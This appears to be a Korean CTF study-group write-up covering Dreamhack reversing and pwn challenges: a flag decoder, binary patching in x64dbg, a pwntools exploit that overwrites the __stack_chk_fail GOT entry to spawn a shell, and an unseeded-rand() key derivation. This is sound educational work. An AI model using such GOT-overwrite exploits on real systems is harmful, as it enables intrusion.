[CAUTION] 스터디 - 12

💡 Caution 스터디 12회차

암호학 - 1

Pseudo7Roulette

리버싱 - 1

rev-basic-4

Input 문자열을 찾는 문제이다.

IDA로 Input String을 찾아서 문자열을 검증하는 부분을 찾는다.

문자열 검증하는 부분은 다음과 같다.

해당 부분의 로직을 분석하기 위해서 가상의 input을 통해서 어떻게 계산되는지 해본다.

만약 [a1+i] 값이 8bit로 abcd efgh 이렇게 들어있다고 가정하고 계산을 해본다. 가운데 or(|)을 기준으로 왼쪽 오른쪽을 나눈다.

먼저 왼쪽 부분의 연산은 다음과 같다

16 * [a1+i] & 0xf0

연산자 우선순위에 의해서 16* [a1+i] 가 먼저 계산되고, 0xf0과 and 비트연산이 수행된다.

16 * [a1 + i]       => efgh 0000
efgh 0000 & 0xf0    => efgh 0000

오른쪽 부분의 연산은 다음과 같다.

abcd efgh >> 4      => 0000 abcd

두개의 비트를 or 연산을 수행하면 결과는 다음과 같다.

efgh abcd

원래 비트 abcd efgh와 비교해보면 왼쪽 4비트와 오른쪽 4비트가 위치가 바뀐것을 볼 수 있다.

그리고 이 값을 byte_140003000[i] 와 비교하고 있고 해당 값은 다음과 같다.

따라서 위의 배열 값을 좌우 비트를 4비트씩 바꾸면 원본 바이트값을 구할 수 있다.

코드로 작성하면 다음과 같다.

sol.py

arr = [0x24,0x27,0x13,0xc6,
       0xc6,0x13,0x16,0xe6,
       0x47,0xf5,0x26,0x96,
       0x47,0xf5,0x46,0x27,
       0x13,0x26,0x26,0xc6,
       0x56,0xf5,0xc3,0xc3,
       0xf5,0xe3,0xe3]

result = []

for i in arr:
    tmp = (i << 4) & 0xff | (i >> 4) & 0xff
    result.append(chr(tmp))

for i in result:
    print(i,end = '')

실행 결과 플래그를 획득할 수 있다.

리버싱 - 2

patch

프로그램을 실행하면 다음과 같은 이미지가 나온다.

소스코드를 분석해서, 플래그 글자를 가리는 부분을 찾아야 한다.

ida

ida로 실행해보면 그림과 같이 함수가 꽤 많이 있다.

하나하나 전부 분석할 수는 없으니, 어떤 부분을 중점적으로 분석할지 생각해봐야 한다.

문제에서 힌트로 GDI+ 관련된 내용을 적어놨기 때문에, 이를 생각하고 몇개의 함수를 보면 다음과 같이 GDI 관련 함수가 사용 중인것을 알 수 있다.

먼저 sub_1400030a0 함수를 보면 다음과 같다.

나도 gdi 관련된 프로그래밍을 해본적이 없기 때문에 어떤 식으로 코드가 흐르는지는 모르지만, 36번째 줄을 보면, GdiplusStartup 함수를 호출하고 있다. 이름으로부터 유추를 해보면 이 부분에서 start를 하고 있으니까 이 지점을 시작으로 코드를 따라가보면 추가적으로 그림을 그리는 코드를 만날 수 있을 것이다.

하지만, gdiplusstartup함수 뒤에있는 부분을 봐도 따로 함수를 call하고 있진 않아서 다음엔 어디를 분석해야 할 지 고민해 봐야 한다.

sub_1400030a0함수 이름을 gdi_main 으로 바꾸고 다른 함수들을 추가적으로 분석해 본다.

위의 함수 목록을 잘 보면, 대부분 같은 형태의 구조를 가지고 있다.

임의로 2개를 선택해서 비교해보면 다음과 같다.

그냥 똑같이 생겼고, 함수들의 이름을 보면, gdip관련된 함수와 GdipDrawLineI 함수를 호출하는 것으로 보아 그림을 그리는 함수들 입니다.

이 함수들을 어디에서 호출하는지 추적을 해보면 sub_140002C40 함수가 나온다. 해당 함수를 보니 다음과 같이 생겼다.

sub_140002B80 함수를 여러번 호출하고 그 아래에서 추가적인 함수들을 부르고 있다. 이 부분이 그림을 그리는 코드인것이 명확해 보이니 이제 어떻게 답을 알아낼 지 생각해보자.

1. 정적 분석 : 코드에 들어간 인자 값들이 다 주어졌으니 해당 인자값들을 다 기록한 뒤 다른 프로그램에서 지우는 부분을 알아내고 해당 부분을 제거하여 플래그를 알아낸다.
2. 동적 분석 : 디버거를 연결하여, 특정 부분에서 코드 흐름을 바꿔서 그림을 덮어쓰는 부분을 호출하지 않도록 한다.

1,2번 두가지 방법이 가능한데, 나는 저 부분을 동일하게 구현할 엄두가 안나서 동적 분석으로 문제를 풀었다.

x64dbg

x64dbg를 이용하면 코드 중간부분을 바꿔서 패치를 할 수 있다. 먼저 ida에서 찾은 여러 함수들을 호출하는 부분을 찾아야 한다.

ida에서는 sub_140002C40였는데 메모리 주소가 140002c40이라는 뜻이다. x64dbg로 보면 다음과 같이 시작 주소가 다른데 어차피 코드상에서는 상대 주소가 같을 것이기 때문에 시작주소를 비교해서 그 차이만큼 더해주면 될 것이다.

보면 xdbg도 끝에 4자리만 보면 시작이 1000이고, ida도 시작이 1000이다. 따라서 sub_140002c40은 xdbg에서도 끝이 2c40이다.

해당 주소로 접근하여 보니 다음과 같이 반복적으로 patch.7ff759d72b80함수를 호출하고 있다.

이제 이 부분을 동작하지 않도록 바꿔줄 것이다.

예상하기로는 동일하게 호출되는 patch.7ff759d72b80 함수가 그림을 가리는 코드라 생각되서 이 부분들을 전부 nop으로 덮어써줄 것이다.

다음과 같이 반복적 함수를 호출하는 부분을 모두 선택한 뒤, nop으로 바꿔준다.

파일 패치를 눌러서 변경된 프로그램을 다시 저장해 준다.

저장된 프로그램을 호출해 주면 끝

시스템 - 1

ssp_000

코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

bof 취약점이 있는건 한눈에 보이는데, 어떻게 공격을 할지 생각해 보기 위해서 스택을 먼저 그려본다.

메인함수를 디스어셈블을 하면 다음과 같은데, 스택을 확인하기 위한 중요부분은 주석으로 표시해 놨다.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000004008fb <+0>:	push   rbp
   0x00000000004008fc <+1>:	mov    rbp,rsp
   0x00000000004008ff <+4>:	sub    rsp,0x70
   0x0000000000400903 <+8>:	mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:	mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:	mov    QWORD PTR [rbp-0x8],rax  //canary 를 rbp-8에 저장
   0x0000000000400917 <+28>:	xor    eax,eax
   0x0000000000400919 <+30>:	lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:	mov    eax,0x0
   0x0000000000400922 <+39>:	mov    ecx,0x8
   0x0000000000400927 <+44>:	mov    rdi,rdx
   0x000000000040092a <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:	mov    eax,0x0
   0x0000000000400932 <+55>:	call   0x40088e <initialize>
   0x0000000000400937 <+60>:	lea    rax,[rbp-0x50]       // buf의 위치는 rbp-80
   0x000000000040093b <+64>:	mov    edx,0x80
   0x0000000000400940 <+69>:	mov    rsi,rax
   0x0000000000400943 <+72>:	mov    edi,0x0
   0x0000000000400948 <+77>:	call   0x400710 <read@plt>
   0x000000000040094d <+82>:	mov    edi,0x400a55
   0x0000000000400952 <+87>:	mov    eax,0x0
   0x0000000000400957 <+92>:	call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:	lea    rax,[rbp-0x60]     // value의 위치는 rbp-96
   0x0000000000400960 <+101>:	mov    rsi,rax
   0x0000000000400963 <+104>:	mov    edi,0x400a5d
   0x0000000000400968 <+109>:	mov    eax,0x0
   0x000000000040096d <+114>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:	mov    edi,0x400a61
   0x0000000000400977 <+124>:	mov    eax,0x0
   0x000000000040097c <+129>:	call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:	lea    rax,[rbp-0x58]       // addr의 위치는 rbp-88
   0x0000000000400985 <+138>:	mov    rsi,rax
   0x0000000000400988 <+141>:	mov    edi,0x400a5d
   0x000000000040098d <+146>:	mov    eax,0x0
   0x0000000000400992 <+151>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28    // 메인함수가 끝나기전에 canary값이 변했는지 확인
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>    //변했으면, stack_chk_fail 함수 호출
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret    
End of assembler dump.

그림으로 표현하면 다음과 같다.

현재 read에서 사용자의 입력을 총 0x80byte를 받기 때문에 ret주소까지 충분히 덮을 수 있다.

하지만 현재 canary값을 알아낼 방법이 없기 때문에 ret주소를 덮으면 canary 검사로 프로그램이 종료된다.

이번 문제에서 중요한 부분은 다음 부분이다.

*(long *)addr = value;

위의 함수가 실행되면 어떻게 되는지 생각해보면, addr 변수에 들어있는 값을 value값으로 바꿀 수 있다.

사용자 입력으로 addr, value를 모두 받고 있기 때문에 결국 어떠한 메모리 공간이든 원하는 값으로 바꿀 수 있다.

이를 이용해서 got를 get_shell()함수의 주소로 바꾸면 특정 함수가 실행될때, get_shell()함수가 호출 될 것이다.

그러면 어떠한 함수의 got를 바꿔야 할지 생각해보자.

*(long *)addr = value;

위의 명령어가 실행되고 난 뒤, 호출되는 함수를 살펴보니 다음과 같이 stack_chk_fail 밖에 없다.

// main 함수의 디스어셈블
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax  // *(long *)addr = value; 실행 부분
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret    

그러면 우리는 해당 함수가 실행되도록 유도하고, 해당 함수의 got를 get_shell()함수의 주소로 바꿔주면 된다.

정리하면 다음의 절차로 익스플로잇 한다.

1. Buf에 bof 취약점으로 canary를 침범하여 나중에 stack_chk_fail@plt함수가 호출되도록 한다.
2. Addr 변수에 stack_chk_fail의 got 주소를, value 변수에 get_shell()의 주소를 저장하여 *Addr = value 가 실행되면 stack_chk_fail의 got를 get_shell() 주소로 덮어쓰도록 한다.
3. Canary 값의 변경이 확인되어 stack_chk_fail@plt가 실행되면 get_shell()함수가 실행되게 되어 shell을 획득한다.

작성한 코드는 다음과 같다.

ex.py

from pwn import *

#p = process("./ssp_000")
p = remote("host1.dreamhack.games",10835)
e = ELF("./ssp_000")

got_addr = e.got['__stack_chk_fail']
get_shell_addr = 4196586 

p.sendline(b'A'*73) #canary word를 침범
p.recvuntil("Addr : ")

# Addr = got of __stack_chk_fail
p.sendline(str(got_addr).encode()) #stack_chk_fail의 got

p.recvuntil("Value : ")
p.sendline(str(get_shell_addr).encode())  # get_shell()의 주소

p.interactive()

시스템 - 2

random

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

이번 문제는 rand()함수에 대해 알고 있으면 쉬운 문제이다.

rand()함수는 랜덤값을 생성해 주는 함수인데, seed값을 주지 않는다.

이 말은 랜덤 함수를 실행 했을 때, 첫 번째, 두 번째, 세 번째, … 그 이후 값들은 랜덤하게 나오는 것처럼 보이나.. rand()함수를 동일하게 다시 시작하면 첫 번째, 두 번째, 세 번째 값이 같게 나온다. 다음 실행화면을 보면 이해할 수 있을 것이다.

rand.c

#include <stdio.h>

int main(){
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
	printf("%d\n",rand());
}

이 내용을 이해하고 문제를 다시 보자.

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!
  // random value가 아닌, rand()함수 실행시 처음 나오는 값으로 일정
	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

random = rand()로 랜덤 값이 들어가는 것이 아닌, 일정한 값(1804289383)이 들어가게 된다.

따라서 우리는 key ^ random == 0xdeadbeef를 만족하도록 key 값을 주면 된다.

key xor random = 0xdeadbeef -> key = 0xdeadbeef xor random 이기 때문에 키 값을 구할 수 있다.

1804289383 -> 0x6b8b4567

따라서 프로그램을 실행하고 key 값으로 3039230856(0xb526fb88)을 입력해주면 풀 수 있다.